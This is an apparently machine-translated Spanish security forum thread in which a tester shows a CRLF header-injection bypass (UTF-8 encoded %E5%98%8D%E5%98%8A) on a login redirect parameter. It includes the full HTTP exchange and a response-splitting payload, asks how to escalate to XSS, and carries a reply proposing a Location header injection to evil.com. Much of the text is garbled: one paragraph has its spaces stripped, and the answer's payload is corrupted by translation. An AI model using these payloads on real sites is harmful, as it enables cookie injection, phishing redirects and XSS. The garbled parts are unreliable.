¿Cómo inyectar XSS usando la división de respuestas en el siguiente escenario?

3

He estado preparando para una empresa. Encontré una inyección de CRLF que se podría hacer usando %E5%98%8D%E5%98%8A en lugar de %0d%0a . Entonces estoy usando %E5%98%8D%E5%98%8A en el parámetro de redireccionamiento para CR / LF. Aquí está el ejemplo de CR / LF.

POST /Login?redir=/%E5%98%8D%E5%98%8ASet-Cookie:%20Test=Test HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://example.com/Login?redir=/
Cookie: npii=bcguid/eeed476d1530a2afb4c108a1ff6c8a7858e8fd6d^tguid/eeed476d1530a2afb4c108a1ff6c8a7958e8fd6d^; guid=153f03aafcc.a787875.73837.ffffffff; lang=en-US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

[email protected]&password=passwd&submit=Sign+in

y la respuesta es:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Set-Cookie: epnAQABAAAAcL+4dNXREv5UlAUmnCm8pZjU5ZMGA8Hh7eOXJ59693k+u7Sj84BWjNVabZi9+tsOPv2StVHtoqFe+4yWHHz5HOPgghz5oyVfEcsQubE1j5XHZO6SAhQsZGCo7s+rkEx7tl+GTafUDd1zE9702PrSAmg=;Domain=.example.com;Expires=Fri, 08-Apr-2016 16:15:44 GMT;Path=/; Secure; HttpOnly 
Set-Cookie: lang=en-US;Domain=.example.com;Expires=Wed, 07-Apr-2021 15:15:44 GMT;Path=/ 
Set-Cookie: ifl=y;Domain=.example.com;Path=/ 
Location: https://example.com/
Set-Cookie: Test=Test
Content-Length: 0
Date: Fri, 08 Apr 2016 15:15:43 GMT

Pero cuando intentaba dividir el encabezado usando:

/%E5%98%8D%E5%98%8AContent-Length:%200%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8AHTTP/1.1%20200%20OK%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8AContent-Length:%2017%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A<html>Test</html>

El contenido de HTTP/1.1 200 OK tratado como un HTML como se muestra en HTML.

Comoseveenelejemploanterior,heusado%E5%98%8D%E5%98%8Adosvecesantesdelnuevoencabezadoderespuestaycuandoestoyusando%E5%98%8D%E5%98%8Aunavez,nosetratacomounasegundarespuestaporqueaquíestálarazón.

Como puede ver la imagen 2, el valor de HTTP / 1.1 debe ser 200 OK pero no se divide.

¿Qué debo intentar?

Como esta es una página de redirección junto con las credenciales de inicio de sesión, no puedo colocar la inyección de contenido allí. Actualmente puedo hacer inyección de galletas. ¿Hay alguna forma de explotar otras vulnerabilidades como XSS, inyección de contenido u otro ataque?

    
pregunta WebPenT 08.04.2016 - 17:36
fuente

1 respuesta

-1

Deberías probar el escenario como este;

solicitud POST / Login? Redir = /% E5% 98% 8D% E5% 98% 8Ubicación:% 20https:% 2f% 2fevil% 2ecom HTTP / 1.1 . . .

Tal vez la respuesta sea así;

respuesta HTTP / 1.1 302 movido temporalmente . . . Ubicación: enlace . .

Abrir Redirect Vuln. ( enlace )

    
respondido por el Potti 18.10.2017 - 10:13
fuente